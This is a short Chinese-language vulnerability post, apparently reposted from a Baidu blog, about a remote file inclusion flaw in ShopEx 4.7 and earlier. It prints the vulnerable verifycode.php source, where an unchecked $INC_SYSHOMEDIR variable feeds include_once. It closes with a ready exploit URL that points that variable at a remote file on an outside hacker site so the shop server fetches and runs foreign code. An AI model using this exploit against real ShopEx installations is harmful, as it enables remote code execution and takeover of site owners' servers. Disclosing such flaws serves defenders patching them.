shopex PHP Notice,ShopEx PHP远程包含漏洞

鬼仔注：未测试。

文章作者：寂寞hacker

信息来源：http://hi.baidu.com/isbx/

影响版本：4.7及以下

verifycode.php

/**

*

* 登陆验证码生成文件

*

* @package ShopEx网上商店系统

* @version 4.6

* @author ShopEx.cn

* @url http://www.shopex.cn/

* @since PHP 4.3

* @copyright ShopEx.cn

*

**/

if (!defined("ISSHOP"))

{

Header("Location:../index.php");

exit;

}

/* 调用 session 文件 */

include_once($INC_SYSHOMEDIR."include/session.inc.php");

mt_srand((double)microtime() * 1000000);

/* 生成验证码 */

$strValidate = mt_rand(1000, 9999);

session_unregister("RANDOM_CODE");

session_register("RANDOM_CODE");

$_SESSION["RANDOM_CODE"] = $strValidate."";

$verifyImg = newclass("verifyCode", $strValidate);

/* 输出验证码图片 */

$verifyImg->Output();

?>

Exp: shop/verifycode.php?INC_SYSHOMEDIR=http://www.ynhacker.com/conn.txt?